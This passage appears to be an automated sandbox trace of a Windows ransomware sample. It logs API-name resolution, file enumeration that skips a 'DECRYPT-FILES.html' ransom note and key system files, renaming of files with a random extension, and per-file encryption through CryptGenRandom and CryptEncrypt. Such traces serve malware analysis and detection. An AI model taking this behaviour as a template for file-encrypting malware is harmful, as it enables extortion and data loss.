19 [0128.775] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0128.775] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0128.776] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0128.776] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0128.776] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0128.776] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0128.776] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0128.776] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0128.776] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0128.776] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0128.776] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0128.776] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0128.776] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0128.776] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0128.776] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0128.776] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0128.776] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0128.776] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0128.776] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0128.776] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0128.776] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0128.776] lstrlenA (lpString="CREATEEVENTA") returned 12 [0128.776] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0128.776] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0128.776] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0128.776] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0128.776] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0128.776] lstrlenA (lpString="CREATEEVENTW") returned 12 [0128.776] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0128.776] lstrlenA (lpString="CREATEFIBER") returned 11 [0128.776] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0128.776] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0128.776] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0128.776] lstrlenA (lpString="CREATEFILE2") returned 11 [0128.777] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0128.777] lstrlenA (lpString="CREATEFILEA") returned 11 [0128.777] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0128.777] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0128.777] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0128.777] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0128.777] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0128.777] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0128.777] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0128.777] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0128.777] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0128.777] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0128.777] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0128.777] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0128.777] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0128.777] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0128.777] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0128.777] lstrlenA (lpString="CREATEFILEW") returned 11 [0128.777] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0128.777] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0128.777] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0128.777] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0128.777] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0128.777] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0128.777] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0128.777] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0128.777] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0128.777] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0128.777] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0128.777] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0128.777] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0128.777] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0128.777] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0128.778] lstrlenA (lpString="CREATEJOBSET") returned 12 [0128.778] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0128.778] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0128.778] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0128.778] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0128.778] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0128.778] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0128.778] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0128.778] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0128.778] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0128.778] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0128.778] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0128.778] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0128.778] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0128.778] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0128.778] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0128.778] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0128.778] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0128.778] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0128.778] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0128.778] lstrlenA (lpString="CREATEPIPE") returned 10 [0128.778] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0128.778] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0128.778] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0128.778] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0128.778] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0128.778] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0128.778] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0128.778] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0128.778] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0128.778] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0128.778] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0128.779] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0128.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0128.779] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0128.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0128.779] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0128.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0128.779] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0128.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0128.779] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0128.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0128.779] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0128.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0128.779] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0128.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0128.779] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0128.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0128.779] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0128.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0128.779] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0128.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0128.779] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0128.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0128.779] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0128.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0128.779] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0128.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0128.779] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0128.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0128.779] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0128.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0128.779] lstrlenA (lpString="CREATETHREAD") returned 12 [0128.779] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0128.780] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0128.780] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0128.780] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0128.780] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0128.780] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0128.780] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0128.780] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0128.780] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0128.780] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0128.780] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0128.780] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0128.780] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0128.780] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0128.780] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0128.781] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1042\\eula.rtf.bPKVU") returned 41 [0128.781] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.bPKVU" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.bpkvu"), dwFlags=0x0) returned 1 [0128.781] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.782] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.782] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0128.782] FindNextFileW (in: hFindFile=0x3b80fc0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0128.782] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="DECRYPT-FILES.html") returned 1 [0128.782] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="autorun.inf") returned 1 [0128.782] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="boot.ini") returned 1 [0128.782] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="desktop.ini") returned 1 [0128.782] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat") returned -1 [0128.782] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="iconcache.db") returned 1 [0128.783] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="bootsect.bak") returned 1 [0128.783] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat.log") returned -1 [0128.783] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="thumbs.db") returned -1 [0128.783] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="Bootfont.bin") returned 1 [0128.783] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\") returned 27 [0128.783] lstrlenW (lpString="LocalizedData.xml") returned 17 [0128.783] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1042\\" | out: lpString1="C:\\588bce7c90097ed212\\1042\\") returned="C:\\588bce7c90097ed212\\1042\\" [0128.783] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1042\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" [0128.783] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0128.783] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0128.783] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=65238) returned 1 [0128.783] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0128.784] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0129.066] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0129.066] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0129.066] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0129.067] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0129.067] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0129.069] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.069] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0129.070] CloseHandle (hObject=0x5f8) returned 1 [0129.070] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.070] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0129.071] CloseHandle (hObject=0x0) returned 0 [0129.071] CloseHandle (hObject=0x5f4) returned 1 [0129.073] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.073] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.074] GetTickCount () returned 0x35a56 [0129.074] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0129.074] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0129.074] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0129.074] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0129.075] lstrlenA (lpString="kernel32.dll") returned 12 [0129.075] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0129.075] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0129.075] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0129.075] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0129.075] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0129.075] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0129.075] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0129.075] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0129.075] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0129.075] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0129.075] lstrlenA (lpString="ADDATOMA") returned 8 [0129.075] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0129.075] lstrlenA (lpString="ADDATOMW") returned 8 [0129.075] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0129.075] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0129.075] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0129.075] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0129.075] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0129.075] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0129.075] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0129.075] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0129.075] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0129.075] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0129.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0129.076] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0129.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0129.076] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0129.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0129.076] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0129.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0129.076] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0129.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0129.076] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0129.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0129.076] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0129.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0129.076] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0129.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0129.076] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0129.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0129.076] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0129.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0129.076] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0129.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0129.076] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0129.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0129.076] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0129.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0129.076] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0129.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0129.076] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0129.076] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0129.076] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0129.076] 